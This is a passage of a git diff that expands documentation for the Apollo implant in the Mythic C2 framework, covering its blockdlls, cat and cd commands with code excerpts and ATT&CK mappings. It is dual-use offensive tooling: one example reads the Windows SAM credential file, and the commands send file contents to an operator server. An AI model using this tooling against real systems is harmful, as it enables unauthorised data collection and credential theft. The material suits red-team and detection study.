DLLs +2. **Functionality Loss**: Advanced features of some tools may be disabled +3. **Debug Difficulty**: Troubleshooting becomes more difficult when expected DLLs are blocked + +### Configuration Management +1. **Global Setting**: Affects all sacrificial processes created after the command is issued +2. **Session Scope**: Setting persists only for the current agent session +3. **Override Capability**: Can be changed at any time during agent execution + +## Limitations + +1. **Microsoft-Only Restriction**: Only Microsoft-signed DLLs are allowed in sacrificial processes +2. **Global Application**: Cannot selectively apply to specific commands +3. **Session Persistence**: Configuration does not persist across agent restarts +4. **No Validation**: No confirmation that the setting was successfully applied +5. **Implementation Dependency**: Effectiveness depends on the underlying ProcessManager implementation +6. **Compatibility Issues**: Apollo's releases indicate the feature required multiple hotfixes + +## Troubleshooting + +### Common Issues and Solutions + +| Issue | Possible Causes | Solutions | +|-------|----------------|-----------| +| Tool fails after enabling DLL blocking | Tool requires non-Microsoft DLLs | Disable DLL blocking with `blockdlls false` | +| No visible change in behavior | Setting may be already configured | Check current setting with other process management commands | +| Command execution error | Invalid command line syntax | Use supported formats: true/false or on/off | + +### Debugging Steps +1. **Verify Syntax**: Ensure command uses supported parameter formats +2. **Test Impact**: Execute a sacrificial process command to test the setting's effect +3. **Toggle Setting**: Try both enabling and disabling to verify functionality +4. **Check Compatibility**: Test specific tools that may require third-party DLLs + +## References + +- [Apollo Agent Source Code](https://github.com/MythicAgents/Apollo) +- [Apollo Release Notes](https://github.com/MythicAgents/Apollo/releases) +- [Process Injection Techniques](https://attack.mitre.org/techniques/T1055/) +- [Windows Process Creation](https://docs.microsoft.com/en-us/windows/win32/procthread/creating-processes) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/cat.md b/documentation-payload/apollo/commands/cat.md index 8a332c41..3ac19ae5 100644 --- a/documentation-payload/apollo/commands/cat.md +++ b/documentation-payload/apollo/commands/cat.md @@ -10,25 +10,471 @@ Artifacts Generated: File Open {{% /notice %}} ## Summary +The `cat` function reads and displays the contents of a specified file in 256KB chunks, streaming the output back to the operator in real-time. This command provides efficient file reading capabilities for both small and large files, with proper error handling for access denied and file not found scenarios. The implementation uses asynchronous file I/O to prevent blocking the agent during large file operations. -Read the contents of a file 256kb at a time. +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein ### Arguments -![args](../images/cat.png) -#### Path -Specify path to file to read contents +- **path** (String) - Path to the file to read + - **CLI Name:** Path + - **Display Name:** Path to File + - **Description:** File to read ## Usage -``` -cat -Path [path] -``` -Example +### Example 1: Basic File Reading +**Command:** ``` cat -Path C:\config.txt cat C:\config.txt ``` +**Output:** +```text +[File contents displayed here...] +``` + +### Example 2: Reading with Quoted Paths +**Command:** +``` +cat "C:\Program Files\app\config.txt" +cat 'C:\Users\user\Documents\file with spaces.txt' +``` +**Output:** +```text +[File contents displayed here...] +``` + +### Example 3: File Not Found +**Command:** +``` +cat C:\nonexistent.txt +``` +**Output:** +```text +Error: File C:\nonexistent.txt does not exist. +``` + +### Example 4: Access Denied +**Command:** +``` +cat C:\Windows\System32\config\SAM +``` +**Output:** +```text +Error: Access denied. +``` + +### Example 5: Large File Reading +**Command:** +``` +cat C:\logs\large_log_file.txt +``` +**Output:** +```text +[First 256KB chunk...] +[Second 256KB chunk...] +[Continues until file is completely read...] +``` + +## Detailed Summary + +The `cat` function implements a sophisticated asynchronous file reading system that efficiently handles files of any size while providing real-time output streaming to the operator: + +### 1. Parameter Processing and Validation + +The function handles various input formats for file paths: + +```csharp +[DataContract] +internal struct CatParameters +{ + [DataMember(Name = "path")] + public string Path; +} +``` + +**Parameter Processing**: +* **JSON Structure**: Uses `CatParameters` structure with a single `Path` field +* **Quote Handling**: Python parser removes surrounding quotes from file paths +* **Path Validation**: Checks file existence using `File.Exists()` before attempting to read +* **Error Handling**: Returns appropriate error messages for missing files + +### 2. Asynchronous File Reading Architecture + +The implementation uses a multi-threaded approach with asynchronous I/O: + +```csharp +private static int _chunkSize = 256000; +private byte[] _buffer = new byte[_chunkSize]; +private long _bytesRemaining = 0; +private ThreadSafeList _contents = new ThreadSafeList(); +``` + +**Threading Architecture**: +* **Main Thread**: Handles file opening and coordination +* **Flush Thread**: Periodically sends accumulated content to Mythic (`_flushContents` action) +* **Async Callbacks**: File reading occurs through `BeginRead`/`EndRead` async pattern +* **Thread Synchronization**: Uses `AutoResetEvent` objects for coordination + +### 3. Chunked Reading Implementation + +The file reading process breaks large files into manageable chunks: + +```csharp +private void FileReadCallback(IAsyncResult result) +{ + FileStream fs = (FileStream)result.AsyncState; + fs.EndRead(result); + try + { + _contents.Add(System.Text.Encoding.UTF8.GetString(_buffer)); + _bytesRemaining = fs.Length - fs.Position; + if (_bytesRemaining > 0 && !_cancellationToken.IsCancellationRequested) + { + _buffer = _bytesRemaining > _chunkSize ? new byte[_chunkSize] : new byte[_bytesRemaining]; + fs.BeginRead(_buffer, 0, _buffer.Length, FileReadCallback, fs); + } else + { + _fileRead.Set(); + } + } catch (Exception ex) + { + // Error handling + } +} +``` + +**Chunking Details**: +* **Fixed Chunk Size**: 256,000 bytes (256KB) per chunk +* **Dynamic Buffer Sizing**: Last chunk uses exact remaining bytes +* **UTF-8 Encoding**: All content is converted to UTF-8 strings +* **Recursive Reading**: Each chunk completion triggers the next chunk read +* **Progress Tracking**: Uses `_bytesRemaining` to track read progress + +### 4. Real-Time Output Streaming + +The output streaming system provides immediate feedback to operators: + +```csharp +_flushContents = new Action(() => +{ + string output = ""; + while(!_cancellationToken.IsCancellationRequested && !_completed) + { + WaitHandle.WaitAny(_timers, 1000); + output = string.Join("", _contents.Flush()); + SendMessageToMythic(output); + } + output = string.Join("", _contents.Flush()); + SendMessageToMythic(output); +}); +``` + +**Streaming Features**: +* **Periodic Flushing**: Sends output every 1000ms or when content is available +* **Thread-Safe Collection**: Uses `ThreadSafeList` for safe access across threads +* **Final Flush**: Ensures all remaining content is sent after reading completes +* **Cancellation Support**: Respects cancellation tokens for operation termination + +### 5. File Opening and Initial Setup + +The file opening process includes comprehensive validation and setup: + +```csharp +public override void Start() +{ + CatParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + if (!File.Exists(parameters.Path)) + { + resp = CreateTaskResponse($"File {parameters.Path} does not exist.", true, "error"); + } + else + { + TT.Task.Factory.StartNew(_flushContents, _cancellationToken.Token); + FileStream fs = null; + FileInfo finfo = new FileInfo(parameters.Path); + IMythicMessage[] artifacts = new IMythicMessage[] + { + Artifact.FileOpen(finfo.FullName) + }; + // File reading logic... + } +} +``` + +**Setup Process**: +* **Parameter Deserialization**: Converts JSON parameters to `CatParameters` structure +* **File Existence Check**: Validates file exists before attempting to open +* **Flush Thread Startup**: Starts the output streaming thread +* **FileInfo Creation**: Gets file metadata for artifact generation +* **Artifact Creation**: Generates `FileOpen` artifact with full file path + +### 6. Error Handling and Exception Management + +The implementation includes comprehensive error handling: + +```csharp +try +{ + fs = File.OpenRead(parameters.Path); + // Reading logic... +} +catch (UnauthorizedAccessException ex) +{ + resp = CreateTaskResponse("Access denied.", true, "error", artifacts); +} +catch (Exception ex) +{ + resp = CreateTaskResponse($"Unable to read {parameters.Path}: {ex.Message}", true, "error", artifacts); +} +``` + +**Error Scenarios**: +* **File Not Found**: Checked before file opening with `File.Exists()` +* **Access Denied**: Handles `UnauthorizedAccessException` with specific message +* **General I/O Errors**: Catches all other exceptions with detailed error messages +* **Callback Errors**: File reading callback includes exception handling for async operations + +### 7. Memory Management and Buffer Optimization + +The system optimizes memory usage for different file sizes: + +```csharp +_bytesRemaining = fs.Length; +if (_bytesRemaining < _buffer.Length) +{ + _buffer = new byte[_bytesRemaining]; +} +``` + +**Memory Optimization**: +* **Initial Buffer Sizing**: Creates appropriately sized buffer for small files +* **Dynamic Resizing**: Adjusts buffer size for final chunk to avoid over-allocation +* **Fixed Chunk Strategy**: Uses consistent 256KB chunks for predictable memory usage +* **Buffer Reuse**: Reuses buffer array for each chunk to minimize allocations + +### 8. Cancellation and Cleanup + +The operation supports proper cancellation and resource cleanup: + +```csharp +WaitHandle[] _timers = new WaitHandle[] +{ + _complete, + _cancellationToken.Token.WaitHandle +}; +``` + +**Cancellation Features**: +* **Token Monitoring**: Checks cancellation token throughout the operation +* **Early Termination**: Can stop file reading mid-process if cancelled +* **Resource Cleanup**: Properly closes file streams and releases resources +* **State Management**: Uses completion flags to coordinate shutdown + +### 9. Artifact Generation and Tracking + +The command integrates with Mythic's artifact tracking system: + +```csharp +FileInfo finfo = new FileInfo(parameters.Path); +IMythicMessage[] artifacts = new IMythicMessage[] +{ + Artifact.FileOpen(finfo.FullName) +}; +``` + +**Artifact Details**: +* **File Open Artifact**: Records that the specified file was accessed +* **Full Path Recording**: Uses `FileInfo.FullName` to get the complete path +* **Timeline Integration**: Artifacts are timestamped and associated with the task +* **Audit Trail**: Provides forensic evidence of file access activities + +### 10. Command Line Parsing Flexibility + +The Python handler provides flexible command line parsing: + +```python +async def parse_arguments(self): + if len(self.command_line) == 0: + raise Exception("Require file path to retrieve contents for.\n\tUsage: {}".format(CatCommand.help_cmd)) + if self.command_line[0] == "{": + self.load_args_from_json_string(self.command_line) + else: + if self.command_line[0] == '"' and self.command_line[-1] == '"': + self.command_line = self.command_line[1:-1] + elif self.command_line[0] == "'" and self.command_line[-1] == "'": + self.command_line = self.command_line[1:-1] + self.add_arg("path", self.command_line) +``` + +**Parsing Features**: +* **Quote Removal**: Automatically removes surrounding double or single quotes +* **JSON Support**: Accepts JSON-formatted parameters +* **Error Messages**: Provides helpful usage information for invalid syntax +* **Direct Path Support**: Accepts file path directly without parameter flags ## MITRE ATT&CK Mapping +- **T1005** - Data from Local System +- **T1039** - Data from Network Shared Drive +- **T1025** - Data from Removable Media + +## Technical Deep Dive + +### Asynchronous I/O Implementation + +The `cat` command uses the .NET Framework's asynchronous I/O pattern for efficient file reading: + +#### BeginRead/EndRead Pattern +```csharp +fs.BeginRead(_buffer, 0, _buffer.Length, FileReadCallback, fs); +``` + +**Async Pattern Benefits**: +- **Non-Blocking**: Main agent thread is not blocked during file I/O operations +- **Scalable**: Can handle multiple concurrent file operations +- **Responsive**: Agent remains responsive to other commands during large file reads +- **Resource Efficient**: Uses I/O completion ports on Windows for optimal performance + +#### Callback-Based Processing +The `FileReadCallback` method implements a recursive reading pattern: +- Each completed read triggers the next read operation +- Allows for cancellation between chunks +- Provides progress feedback through the streaming mechanism +- Handles errors gracefully within the async context + +### Threading Model + +The command uses a sophisticated threading model for optimal performance: + +#### Thread Roles +1. **Main Thread**: Handles file opening, validation, and coordination +2. **Task Thread**: Runs the `_flushContents` action for output streaming +3. **I/O Thread**: Handles asynchronous file read callbacks (system-managed) + +#### Synchronization Primitives +- **AutoResetEvent**: `_complete` and `_fileRead` for coordination +- **CancellationToken**: For graceful operation termination +- **ThreadSafeList**: For safe data sharing between threads + +### Memory and Performance Characteristics + +#### Chunk Size Optimization +The 256KB chunk size is optimized for: +- **Network Efficiency**: Reasonable size for network transmission to Mythic +- **Memory Usage**: Prevents excessive memory consumption for large files +- **Responsiveness**: Provides regular output updates for user feedback +- **I/O Efficiency**: Balances between too many small reads and excessive memory usage + +#### String Handling +```csharp +_contents.Add(System.Text.Encoding.UTF8.GetString(_buffer)); +``` + +**String Processing Details**: +- **UTF-8 Conversion**: Assumes all files are UTF-8 encoded or compatible +- **Buffer Conversion**: Converts entire buffer to string (may include extra bytes for final chunk) +- **Thread-Safe Storage**: Uses specialized collection for cross-thread access +- **Memory Impact**: Creates string copies of all file content (memory usage = ~2x file size) + +### Error Handling Patterns + +The command implements multiple layers of error handling: + +#### Pre-Read Validation +- File existence checking before resource allocation +- Early return for common error conditions +- Artifact generation even on errors for audit trail + +#### Runtime Error Handling +- Specific handling for `UnauthorizedAccessException` +- Generic exception handling for unexpected errors +- Callback-level error handling for async operations + +#### Resource Cleanup +- Proper disposal of file streams +- Thread coordination for clean shutdown +- Cancellation token respect throughout operation + +## APIs Used and Their Purposes +| API | Purpose | DLL | Documentation | +|------|---------|-----|--------------| +| `File.Exists()` | Validates file existence before reading | mscorlib.dll | [File.Exists](https://docs.microsoft.com/en-us/dotnet/api/system.io.file.exists) | +| `File.OpenRead()` | Opens file for reading with shared read access | mscorlib.dll | [File.OpenRead](https://docs.microsoft.com/en-us/dotnet/api/system.io.file.openread) | +| `FileStream.BeginRead()` | Initiates asynchronous file read operation | mscorlib.dll | [FileStream.BeginRead](https://docs.microsoft.com/en-us/dotnet/api/system.io.filestream.beginread) | +| `FileStream.EndRead()` | Completes asynchronous file read operation | mscorlib.dll | [FileStream.EndRead](https://docs.microsoft.com/en-us/dotnet/api/system.io.filestream.endread) | +| `Encoding.UTF8.GetString()` | Converts byte buffer to UTF-8 string | mscorlib.dll | [Encoding.GetString](https://docs.microsoft.com/en-us/dotnet/api/system.text.encoding.getstring) | +| `AutoResetEvent.Set()` | Signals completion of operations | mscorlib.dll | [AutoResetEvent.Set](https://docs.microsoft.com/en-us/dotnet/api/system.threading.autoresetevent.set) | +| `WaitHandle.WaitAny()` | Waits for any of multiple synchronization objects | mscorlib.dll | [WaitHandle.WaitAny](https://docs.microsoft.com/en-us/dotnet/api/system.threading.waithandle.waitany) | +| `Task.Factory.StartNew()` | Creates and starts a new task | mscorlib.dll | [Task.Factory.StartNew](https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.taskfactory.startnew) | + +## Security Considerations + +### File Access Permissions +1. **Access Control**: Command respects Windows file permissions and ACLs +2. **Privilege Requirements**: May require elevated privileges for system files +3. **Audit Logging**: Generates file access artifacts for forensic tracking +4. **Error Disclosure**: Error messages may reveal file system structure + +### Data Handling +1. **Memory Exposure**: File contents are stored in managed memory during processing +2. **Network Transmission**: File contents are transmitted to Mythic server +3. **Encoding Assumptions**: Assumes UTF-8 encoding which may corrupt binary files +4. **Buffer Management**: Multiple copies of data exist in memory during processing + +### Operational Security +1. **File Locking**: Uses shared read access, allowing concurrent access by other processes +2. **Large Files**: May consume significant memory and network bandwidth +3. **Detection Risk**: File access may be logged by security software +4. **Performance Impact**: Large file reads may impact system performance + +### Defensive Considerations +1. **File System Monitoring**: File access events may trigger security alerts +2. **Data Loss Prevention**: May trigger DLP systems if reading sensitive files +3. **Behavioral Detection**: Pattern of file access may indicate data exfiltration +4. **Audit Trail**: Leaves artifacts that can be tracked during incident response + +## Limitations + +1. **Binary File Support**: Not optimized for binary files due to UTF-8 string conversion +2. **Memory Usage**: Memory consumption approximately doubles file size during processing +3. **Encoding Issues**: May corrupt files with non-UTF-8 encoding +4. **File Size Limits**: No explicit file size limits, but constrained by available memory +5. **Concurrent Access**: No file locking mechanism to prevent modification during reading +6. **Error Recovery**: No retry mechanism for transient I/O errors +7. **Progress Reporting**: No progress indication for very large files +8. **Partial Reads**: Cannot resume interrupted reads from a specific position + +## Troubleshooting + +### Common Issues and Solutions + +| Issue | Possible Causes | Solutions | +|-------|----------------|-----------| +| "File does not exist" | Incorrect path, file deleted | Verify file path with `ls` command | +| "Access denied" | Insufficient permissions | Run with elevated privileges or check file ACLs | +| Corrupted output | Binary file or non-UTF-8 encoding | Use appropriate tools for binary files | +| Operation timeout | Very large file | Consider using alternative methods for massive files | +| Memory errors | Insufficient system memory | Monitor memory usage, consider file size limits | + +### Debugging Steps +1. **Verify File Path**: Use `ls` or `dir` commands to confirm file existence and path +2. **Check Permissions**: Verify read access to the file and parent directories +3. **Test with Small Files**: Start with small files to verify basic functionality +4. **Monitor Memory Usage**: Watch system memory during large file operations +5. **Check File Encoding**: Verify text files use UTF-8 or compatible encoding + +### Best Practices +1. **Path Quoting**: Always quote paths with spaces or special characters +2. **Size Awareness**: Be mindful of file sizes and available memory +3. **Permission Planning**: Ensure appropriate privileges before attempting access +4. **Binary File Alternatives**: Use specialized tools for binary file analysis +5. **Incremental Reading**: For very large files, consider reading in sections + +## References -- T1081 -- T1106 \ No newline at end of file +- [.NET FileStream Class](https://docs.microsoft.com/en-us/dotnet/api/system.io.filestream) +- [Asynchronous File I/O](https://docs.microsoft.com/en-us/dotnet/standard/io/asynchronous-file-i-o) +- [Thread Synchronization](https://docs.microsoft.com/en-us/dotnet/standard/threading/overview-of-synchronization-primitives) +- [File and Directory Access](https://attack.mitre.org/techniques/T1005/) +- [Apollo Agent Source Code](https://github.com/MythicAgents/Apollo) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/cd.md b/documentation-payload/apollo/commands/cd.md index 981363c0..238a6c5d 100644 --- a/documentation-payload/apollo/commands/cd.md +++ b/documentation-payload/apollo/commands/cd.md @@ -6,37 +6,429 @@ hidden = false +++ ## Summary -Change the process's current working directory to a specified directory. This command accepts relative paths such as `..\` as well. +The `cd` function changes the Apollo agent's current working directory to a specified directory path. This command affects the working directory for all subsequent file system operations and supports both absolute and relative paths, including common relative identifiers like `..` for parent directory navigation. The command validates directory existence before changing and updates the Mythic callback with the new working directory. -## Arguments +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein -![args](../images/cd.png) - -### Path -Change to the directory specified by path. +### Arguments +- **path** (String) - Directory path to change to + - **CLI Name:** Path + - **Display Name:** Path to Directory + - **Description:** Directory to change to ## Usage -``` -cd -Path [path] -cd [path] -``` -Example +### Example 1: Absolute Path Navigation +**Command:** ``` cd -Path C:\Users +cd C:\Users ``` -Change to the root directory. +**Output:** +```text +Working directory set to C:\Users +``` + +### Example 2: Root Directory Navigation +**Command:** ``` cd C:\ ``` -Change to the previous level directory. +**Output:** +```text +Working directory set to C:\ +``` + +### Example 3: Relative Path Navigation +**Command:** ``` cd .. ``` -Change to a directory with spaces in name. +**Output:** +```text +Working directory set to C:\ +``` + +### Example 4: Directory with Spaces +**Command:** +``` +cd "C:\Program Files" +cd 'C:\Program Files' +``` +**Output:** +```text +Working directory set to C:\Program Files +``` + +### Example 5: Directory Not Found +**Command:** +``` +cd C:\NonExistentDirectory +``` +**Output:** +```text +Error: Directory C:\NonExistentDirectory does not exist +``` + +### Example 6: Relative Navigation Examples +**Command:** ``` -cd C:\Program Files +cd ..\Windows\System32 +cd .\Logs +cd ..\..\Users ``` +**Output:** +```text +Working directory set to C:\Windows\System32 +Working directory set to C:\Program Files\Application\Logs +Working directory set to C:\Users +``` + +## Detailed Summary + +The `cd` function implements a straightforward directory navigation system that manages the agent's current working directory state: + +### 1. Parameter Processing and Validation + +The function uses a simple parameter structure for directory paths: + +```csharp +[DataContract] +public struct CdParameters +{ + [DataMember(Name = "path")] public string Path; +} +``` + +**Parameter Processing**: +* **JSON Deserialization**: Uses `CdParameters` structure to extract the target directory path +* **Path Validation**: Checks directory existence using `Directory.Exists()` before attempting to change +* **Error Handling**: Returns specific error message if the target directory does not exist + +### 2. Core Implementation + +The C# implementation is straightforward and synchronous: + +```csharp +public override void Start() +{ + CdParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + if (!Directory.Exists(parameters.Path)) + { + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( + $"Directory {parameters.Path} does not exist", + true, + "error")); + } + else + { + Directory.SetCurrentDirectory(parameters.Path); + var currentPath = Directory.GetCurrentDirectory(); + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( + $"Working directory set to {Directory.GetCurrentDirectory()}", + true, "", + new IMythicMessage[] + { + new CallbackUpdate{ Cwd =currentPath } + } + )); + } +} +``` + +**Implementation Details**: +* **Directory Validation**: Uses `Directory.Exists()` to verify target directory exists +* **Directory Change**: Uses `Directory.SetCurrentDirectory()` to change the working directory +* **Confirmation**: Uses `Directory.GetCurrentDirectory()` to get the actual new working directory +* **Callback Update**: Sends `CallbackUpdate` message to update Mythic with new working directory + +### 3. Working Directory Management + +The command affects the global state of the Apollo agent: + +**State Changes**: +* **Process Working Directory**: Changes the current working directory for the entire Apollo process +* **Global Impact**: Affects all subsequent file system operations that use relative paths +* **Persistent Change**: The directory change persists until another `cd` command or agent restart +* **Thread Safety**: Uses .NET's built-in thread-safe directory operations + +### 4. Mythic Integration and Callback Updates + +The command integrates with Mythic's callback management system: + +```csharp +new IMythicMessage[] +{ + new CallbackUpdate{ Cwd =currentPath } +} +``` + +**Integration Features**: +* **Callback Update**: Sends `CallbackUpdate` message with new current working directory +* **UI Synchronization**: Updates Mythic's UI to reflect the agent's new working directory +* **State Persistence**: Mythic maintains the current directory state for display and reference +* **Confirmation Response**: Provides both success message and directory confirmation + +### 5. Path Handling and Resolution + +The system handles various path formats and types: + +**Supported Path Types**: +* **Absolute Paths**: Full paths starting from drive root (e.g., `C:\Windows\System32`) +* **Relative Paths**: Paths relative to current directory (e.g., `Subdirectory`, `.\Folder`) +* **Parent Directory**: Navigate up using `..` (e.g., `..`, `..\..`, `..\OtherFolder`) +* **Current Directory**: Reference current directory using `.` (though rarely needed) + +**Path Resolution**: +* **.NET Path Resolution**: Leverages .NET's built-in path resolution for relative paths +* **Drive Changes**: Can change to different drives if accessible +* **UNC Path Support**: Supports UNC paths to network locations (e.g., `\\server\share`) +* **Long Path Support**: Inherits .NET Framework's path length limitations and support + +### 6. Error Handling and Validation + +The implementation includes specific error handling for common scenarios: + +**Error Scenarios**: +* **Directory Not Found**: Returns `"Directory {path} does not exist"` error message +* **Access Denied**: .NET will throw exceptions for inaccessible directories +* **Invalid Paths**: .NET handles invalid path format validation +* **Network Issues**: UNC path failures are handled by underlying .NET exceptions + +**Validation Process**: +1. **Parameter Deserialization**: Extracts path from JSON parameters +2. **Existence Check**: Verifies directory exists using `Directory.Exists()` +3. **Change Attempt**: Uses `Directory.SetCurrentDirectory()` for actual change +4. **Confirmation**: Gets actual current directory for response + +### 7. Command Line Parsing Flexibility + +The Python handler provides flexible path input handling: + +```python +async def parse_arguments(self): + if len(self.command_line) == 0: + raise Exception("Require path to change directory to.\nUsage:\n\t{}".format(CdCommand.help_cmd)) + if self.command_line[0] == "{": + self.load_args_from_json_string(self.command_line) + else: + if self.command_line[0] == '"' and self.command_line[-1] == '"': + self.command_line = self.command_line[1:-1] + elif self.command_line[0] == "'" and self.command_line[-1] == "'": + self.command_line = self.command_line[1:-1] + self.add_arg("path", self.command_line) +``` + +**Parsing Features**: +* **Quote Removal**: Automatically removes surrounding double or single quotes from paths +* **JSON Support**: Accepts JSON-formatted parameters +* **Error Handling**: Provides usage information when no path is provided +* **Direct Path Support**: Accepts directory path directly without parameter flags +* **Space Handling**: Properly handles paths with spaces through quote removal + +### 8. Response and Display Management + +The command provides clear feedback about directory changes: + +**Success Response Format**: +```csharp +$"Working directory set to {Directory.GetCurrentDirectory()}" +``` + +**Error Response Format**: +```csharp +$"Directory {parameters.Path} does not exist" +``` + +**Response Characteristics**: +* **Confirmation Message**: Shows the actual directory that was set (may differ from input due to path resolution) +* **Error Specificity**: Provides specific error message indicating the problematic path +* **Status Indicators**: Uses appropriate success/error status flags +* **Display Parameters**: Shows the input path in Mythic's task display + +### 9. Security and Access Control + +The command respects Windows file system security: + +**Security Considerations**: +* **Access Control Lists**: Respects Windows ACLs and directory permissions +* **User Context**: Operates within the security context of the Apollo agent process +* **Network Access**: Can access network paths if the agent has appropriate credentials +* **Privilege Requirements**: May require specific privileges for certain system directories + +### 10. Impact on Other Commands + +The directory change affects subsequent file system operations: + +**Affected Commands**: +* **File Operations**: Commands like `cat`, `ls`, `upload`, `download` use relative paths from new directory +* **Process Creation**: Commands that spawn processes inherit the new working directory +* **Script Execution**: PowerShell and other script executions start from new directory +* **Path Resolution**: All relative path references resolve from the new working directory ## MITRE ATT&CK Mapping +- **T1083** - File and Directory Discovery + +## Technical Deep Dive + +### .NET Directory Operations + +The `cd` command leverages .NET Framework's directory management capabilities: + +#### Directory.SetCurrentDirectory() +```csharp +Directory.SetCurrentDirectory(parameters.Path); +``` + +**Method Characteristics**: +- **Process-Wide**: Changes working directory for entire process, not just current thread +- **Exception Handling**: Throws exceptions for invalid paths, access denied, etc. +- **Path Resolution**: Automatically resolves relative paths and normalizes the result +- **Thread Safety**: Method is thread-safe and atomic + +#### Directory.GetCurrentDirectory() +```csharp +var currentPath = Directory.GetCurrentDirectory(); +``` + +**Confirmation Features**: +- **Actual Path**: Returns the actual resolved path, which may differ from input path +- **Normalized Format**: Returns path in normalized Windows format +- **Drive Information**: Includes drive letter and full path information +- **Real-Time**: Returns current state at time of call + +### Path Resolution Behavior + +The .NET Framework handles various path resolution scenarios: + +#### Relative Path Resolution +- **Single Dot (.)**: References current directory (rarely used with cd) +- **Double Dot (..)**: References parent directory +- **Subdirectory**: Direct subdirectory name resolves from current location +- **Complex Relative**: Paths like `..\..\Windows` are fully resolved + +#### Drive and UNC Path Handling +- **Drive Changes**: Can change to different drives (C:, D:, etc.) +- **UNC Paths**: Supports network paths (\\server\share\folder) +- **Path Validation**: Validates path format before attempting change +- **Access Verification**: Checks access permissions during change attempt + +### Error Handling Patterns + +The command implements a validation-first approach: + +#### Pre-Change Validation +```csharp +if (!Directory.Exists(parameters.Path)) +{ + // Error response +} +``` + +**Validation Benefits**: +- **Early Error Detection**: Catches non-existent directories before attempting change +- **Cleaner Error Messages**: Provides specific error message for directory existence +- **Resource Efficiency**: Avoids exception handling for common error case +- **User Experience**: Immediate feedback for invalid directories + +#### Exception Scenarios +While not explicitly shown in the code, `Directory.SetCurrentDirectory()` can throw: +- **DirectoryNotFoundException**: Directory path is invalid +- **SecurityException**: Insufficient permissions to access directory +- **ArgumentException**: Path contains invalid characters +- **PathTooLongException**: Path exceeds system limits + +### Performance Characteristics + +The `cd` command has minimal performance impact: + +#### Operation Timing +- **Fast Execution**: Directory operations are typically very fast +- **Synchronous**: Operation completes before returning (no async overhead) +- **Single System Call**: Primary operation is one system call to change directory +- **Minimal Memory**: Very low memory footprint + +#### System Impact +- **No File I/O**: Only changes process state, doesn't read/write files +- **Registry Access**: May involve registry access for drive mapping resolution +- **Network Latency**: UNC paths may involve network round-trips +- **Cache Effects**: May affect file system cache behavior for subsequent operations + +## APIs Used and Their Purposes +| API | Purpose | DLL | Documentation | +|------|---------|-----|--------------| +| `Directory.Exists()` | Validates directory existence before changing | mscorlib.dll | [Directory.Exists](https://docs.microsoft.com/en-us/dotnet/api/system.io.directory.exists) | +| `Directory.SetCurrentDirectory()` | Changes process working directory | mscorlib.dll | [Directory.SetCurrentDirectory](https://docs.microsoft.com/en-us/dotnet/api/system.io.directory.setcurrentdirectory) | +| `Directory.GetCurrentDirectory()` | Gets current working directory path | mscorlib.dll | [Directory.GetCurrentDirectory](https://docs.microsoft.com/en-us/dotnet/api/system.io.directory.getcurrentdirectory) | +| `JsonSerializer.Deserialize()` | Deserializes JSON task parameters | Apollo Agent | Internal Apollo JSON serialization | + +## Security Considerations + +### Access Control and Permissions +1. **Windows ACLs**: Respects file system access control lists +2. **User Context**: Limited by the privileges of the Apollo agent process +3. **Network Authentication**: UNC paths require appropriate network credentials +4. **System Directories**: Some directories may require elevated privileges + +### Operational Security +1. **Directory Enumeration**: Successful directory changes reveal file system structure +2. **Access Patterns**: Directory navigation patterns may indicate reconnaissance activity +3. **Network Discovery**: UNC path usage may reveal network topology +4. **Privilege Indication**: Successful access to restricted directories indicates privilege level + +### Audit and Detection +1. **File System Auditing**: Directory access may be logged by Windows audit policies +2. **Process Monitoring**: Working directory changes can be monitored by security tools +3. **Network Access**: UNC path access generates network authentication events +4. **Behavioral Analysis**: Navigation patterns may trigger behavioral detection + +### Defensive Considerations +1. **Access Monitoring**: Monitor for unusual directory access patterns +2. **Privilege Escalation**: Watch for access to typically restricted directories +3. **Network Indicators**: UNC path access from workstations may be suspicious +4. **Timeline Analysis**: Correlate directory changes with other malicious activities + +## Limitations + +1. **Path Length Limits**: Subject to Windows maximum path length restrictions +2. **Permission Requirements**: Cannot access directories without appropriate permissions +3. **Network Dependencies**: UNC paths require network connectivity and credentials +4. **Process Scope**: Only changes working directory for the Apollo agent process +5. **No Bookmark Support**: Cannot save or return to previous directories automatically +6. **Single Directory**: Cannot change to multiple directories simultaneously +7. **No Directory Stack**: No built-in support for directory history or stack operations + +## Troubleshooting + +### Common Issues and Solutions + +| Issue | Possible Causes | Solutions | +|-------|----------------|-----------| +| "Directory does not exist" | Incorrect path, directory deleted | Verify path with `ls` command, check spelling | +| Access denied errors | Insufficient permissions | Run with elevated privileges or check directory ACLs | +| UNC path failures | Network connectivity, credentials | Verify network access and authentication | +| Path too long errors | Windows path length limits | Use shorter paths or UNC path alternatives | +| Drive not accessible | Unmapped network drives, disconnected media | Verify drive mapping and media connectivity | + +### Debugging Steps +1. **Verify Current Directory**: Use `pwd` to confirm current location +2. **List Available Directories**: Use `ls` to see accessible directories +3. **Test with Simple Paths**: Start with basic absolute paths before trying complex relative paths +4. **Check Permissions**: Verify access to target directory with `ls` on parent directory +5. **Network Diagnostics**: For UNC paths, verify network connectivity and credentials + +### Best Practices +1. **Path Quoting**: Quote paths containing spaces or special characters +2. **Absolute Paths**: Use absolute paths when unsure about current location +3. **Incremental Navigation**: Navigate step-by-step for complex relative paths +4. **Permission Awareness**: Understand privilege requirements for target directories +5. **Network Path Testing**: Test UNC paths with simple operations before complex tasks + +## References -- T1083 \ No newline at end of file +- [.NET Directory Class](https://docs.microsoft.com/en-us/dotnet/api/system.io.directory) +- [Windows File System Paths](https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file) +- [File and Directory Discovery](https://attack.mitre.org/techniques/T1083/) +- [Windows Working Directory](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setcurrentdirectory) +- [Apollo Agent Source Code](https://github.com/MythicAgents/Apollo) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/cp.md b/documentation-payload/apollo/commands/cp.md index a9ef9528..8ca7f588 100644 --- a/documentation-payload/apollo/commands/cp.md +++ b/documentation-payload/apollo/commands/cp.md @@ -6,33 +6,521 @@ hidden = false +++ {{% notice info %}} -### Artifacts -- 